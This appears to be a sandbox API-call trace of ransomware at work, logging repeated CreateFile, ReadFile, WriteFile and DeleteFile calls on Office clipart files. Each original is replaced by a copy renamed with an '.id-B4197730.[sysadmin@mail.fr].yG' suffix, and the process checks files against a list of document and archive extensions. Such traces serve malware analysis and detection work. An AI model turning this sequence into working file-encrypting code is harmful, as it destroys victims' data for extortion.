	[0170.729] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3740, lpOverlapped=0x0) returned 1
	[0170.730] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.730] WriteFile (in: hFile=0x388, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.730] SetEndOfFile (hFile=0x388) returned 1
	[0170.731] CloseHandle (hObject=0x388) returned 1
	[0170.738] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.738] SetEndOfFile (hFile=0x48c) returned 1
	[0170.741] CloseHandle (hObject=0x48c) returned 1
	[0170.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1
	[0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0171.286] lstrlenW (lpString=".doc") returned 4
	[0171.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.286] lstrlenW (lpString=".docx") returned 5
	[0171.286] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.286] lstrlenW (lpString=".pdf") returned 4
	[0171.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.286] lstrlenW (lpString=".xls") returned 4
	[0171.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.286] lstrlenW (lpString=".xlsx") returned 5
	[0171.286] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.286] lstrlenW (lpString=".ppt") returned 4
	[0171.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0171.286] lstrlenW (lpString=".zip") returned 4
	[0171.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.287] lstrlenW (lpString=".rar") returned 4
	[0171.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.287] lstrlenW (lpString=".bz2") returned 4
	[0171.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.287] lstrlenW (lpString=".7z") returned 3
	[0171.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0171.287] lstrlenW (lpString=".dbf") returned 4
	[0171.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0171.287] lstrlenW (lpString=".1cd") returned 4
	[0171.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0171.287] lstrlenW (lpString=".jpg") returned 4
	[0171.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.288] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=23672) returned 1
	[0171.288] CloseHandle (hObject=0x568) returned 1
	[0171.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220
	[0171.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0171.289] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.289] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0171.291] GetLastError () returned 0x0
	[0171.291] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x5c78, lpOverlapped=0x0) returned 1
	[0171.303] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x5c80, lpOverlapped=0x0) returned 1
	[0171.305] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.305] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.305] SetEndOfFile (hFile=0x360) returned 1
	[0171.305] CloseHandle (hObject=0x360) returned 1
	[0171.306] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.306] SetEndOfFile (hFile=0x568) returned 1
	[0171.309] CloseHandle (hObject=0x568) returned 1
	[0171.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1
	[0171.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0171.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0171.311] lstrlenW (lpString=".doc") returned 4
	[0171.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.311] lstrlenW (lpString=".docx") returned 5
	[0171.311] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.311] lstrlenW (lpString=".pdf") returned 4
	[0171.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.311] lstrlenW (lpString=".xls") returned 4
	[0171.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.311] lstrlenW (lpString=".xlsx") returned 5
	[0171.311] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.311] lstrlenW (lpString=".ppt") returned 4
	[0171.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0171.311] lstrlenW (lpString=".zip") returned 4
	[0171.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.311] lstrlenW (lpString=".rar") returned 4
	[0171.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.311] lstrlenW (lpString=".bz2") returned 4
	[0171.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.311] lstrlenW (lpString=".7z") returned 3
	[0171.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0171.312] lstrlenW (lpString=".dbf") returned 4
	[0171.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0171.312] lstrlenW (lpString=".1cd") returned 4
	[0171.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68
	[0171.312] lstrlenW (lpString=".jpg") returned 4
	[0171.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.312] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=16588) returned 1
	[0171.312] CloseHandle (hObject=0x568) returned 1
	[0171.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220
	[0171.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0171.313] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.313] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0171.316] GetLastError () returned 0x0
	[0171.316] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x40cc, lpOverlapped=0x0) returned 1
	[0171.341] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x40d0, lpOverlapped=0x0) returned 1
	[0171.343] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.343] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.343] SetEndOfFile (hFile=0x360) returned 1
	[0171.343] CloseHandle (hObject=0x360) returned 1
	[0171.343] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.343] SetEndOfFile (hFile=0x568) returned 1
	[0171.346] CloseHandle (hObject=0x568) returned 1
	[0171.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1
	[0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0171.348] lstrlenW (lpString=".doc") returned 4
	[0171.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.348] lstrlenW (lpString=".docx") returned 5
	[0171.348] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.348] lstrlenW (lpString=".pdf") returned 4
	[0171.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.348] lstrlenW (lpString=".xls") returned 4
	[0171.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.348] lstrlenW (lpString=".xlsx") returned 5
	[0171.348] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.348] lstrlenW (lpString=".ppt") returned 4
	[0171.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0171.348] lstrlenW (lpString=".zip") returned 4
	[0171.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.348] lstrlenW (lpString=".rar") returned 4
	[0171.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.348] lstrlenW (lpString=".bz2") returned 4
	[0171.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.348] lstrlenW (lpString=".7z") returned 3
	[0171.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0171.349] lstrlenW (lpString=".dbf") returned 4
	[0171.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0171.349] lstrlenW (lpString=".1cd") returned 4
	[0171.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0171.349] lstrlenW (lpString=".jpg") returned 4
	[0171.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.349] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4920) returned 1
	[0171.349] CloseHandle (hObject=0x568) returned 1
	[0171.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220
	[0171.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0171.351] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.351] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0171.352] GetLastError () returned 0x0
	[0171.352] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1338, lpOverlapped=0x0) returned 1
	[0171.374] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1340, lpOverlapped=0x0) returned 1
	[0171.375] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.375] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.375] SetEndOfFile (hFile=0x360) returned 1
	[0171.378] CloseHandle (hObject=0x360) returned 1
	[0171.378] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.378] SetEndOfFile (hFile=0x568) returned 1
	[0171.388] CloseHandle (hObject=0x568) returned 1
	[0171.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1
	[0171.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0171.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0171.390] lstrlenW (lpString=".doc") returned 4
	[0171.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.390] lstrlenW (lpString=".docx") returned 5
	[0171.390] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.390] lstrlenW (lpString=".pdf") returned 4
	[0171.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.390] lstrlenW (lpString=".xls") returned 4
	[0171.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.390] lstrlenW (lpString=".xlsx") returned 5
	[0171.390] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.390] lstrlenW (lpString=".ppt") returned 4
	[0171.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0171.390] lstrlenW (lpString=".zip") returned 4
	[0171.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.390] lstrlenW (lpString=".rar") returned 4
	[0171.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.390] lstrlenW (lpString=".bz2") returned 4
	[0171.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.390] lstrlenW (lpString=".7z") returned 3
	[0171.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0171.391] lstrlenW (lpString=".dbf") returned 4
	[0171.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0171.391] lstrlenW (lpString=".1cd") returned 4
	[0171.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0171.391] lstrlenW (lpString=".jpg") returned 4
	[0171.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.391] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3724) returned 1
	[0171.391] CloseHandle (hObject=0x568) returned 1
	[0171.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220
	[0171.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0171.393] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.393] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0171.394] GetLastError () returned 0x0
	[0171.394] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xe8c, lpOverlapped=0x0) returned 1
	[0171.396] WriteFile (in: hFile=0x364, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xe90, lpOverlapped=0x0) returned 1
	[0171.397] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.397] WriteFile (in: hFile=0x364, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.397] SetEndOfFile (hFile=0x364) returned 1
	[0171.397] CloseHandle (hObject=0x364) returned 1
	[0171.398] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.398] SetEndOfFile (hFile=0x568) returned 1
	[0171.402] CloseHandle (hObject=0x568) returned 1
	[0171.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1
	[0171.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0171.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0171.404] lstrlenW (lpString=".doc") returned 4
	[0171.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.404] lstrlenW (lpString=".docx") returned 5
	[0171.404] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.404] lstrlenW (lpString=".pdf") returned 4
	[0171.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.404] lstrlenW (lpString=".xls") returned 4
	[0171.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.404] lstrlenW (lpString=".xlsx") returned 5
	[0171.404] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.404] lstrlenW (lpString=".ppt") returned 4
	[0171.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
